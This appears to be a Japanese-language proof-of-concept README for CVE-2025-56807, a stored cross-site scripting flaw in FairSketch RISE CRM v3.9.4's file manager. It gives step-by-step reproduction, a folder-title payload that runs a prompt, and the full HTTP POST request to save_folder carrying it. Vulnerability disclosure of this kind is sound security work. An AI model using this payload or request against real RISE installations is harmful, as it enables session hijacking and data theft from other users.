aqwainfosec/cve-2025-56807FairSketch RISE Ultimate Project Manager & CRM v3.9.4の格納型XSS脆弱性の概念実証。フォルダタイトルインジェクションによる任意のJavaScript実行を示します。
FairSketch RISE Ultimate Project Manager & CRM (v3.9.4) のファイルマネージャー機能に、格納型クロスサイトスクリプティング (XSS) の脆弱性が発見されました。この脆弱性は、新しいフォルダーを作成する際に送信される titleパラメーター に存在します。入力サニタイズが不十分なため、攻撃者は HTML/JavaScriptペイロード (例: <details/open/ontoggle=prompt(origin)>) を注入できます。ペイロードはフォルダー名に保存され、ファイルマネージャーでフォルダーを一覧表示する際に実行されるため、影響を受けるフォルダーを表示したユーザーのブラウザー上で任意のJavaScriptが実行される可能性があります。これにより、セッションハイジャックやデータの外部送信が発生する恐れがあります。
[!NOTE]
この脆弱性は管理者アカウントに限定されるものではありません。ファイルマネージャーで新しいフォルダーを作成する権限を持つ任意のユーザーアカウントを使用して悪用できます。
有効な認証情報でログインします。
Files に移動します。
New Folder をクリックします。
Title フィールドに以下のペイロードを入力します:
<details/open/ontoggle=prompt(origin)>
POST /index.php/clients/save_folder HTTP/1.1
Host: rise.fairsketch.com
Cookie: [redacted]
Content-Length: 99
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: [redacted]
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://rise.fairsketch.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
id=&parent_id=&context=client&context_id=101&title=%3Cdetails%2Fopen%2Fontoggle%3Dprompt(origin)%3E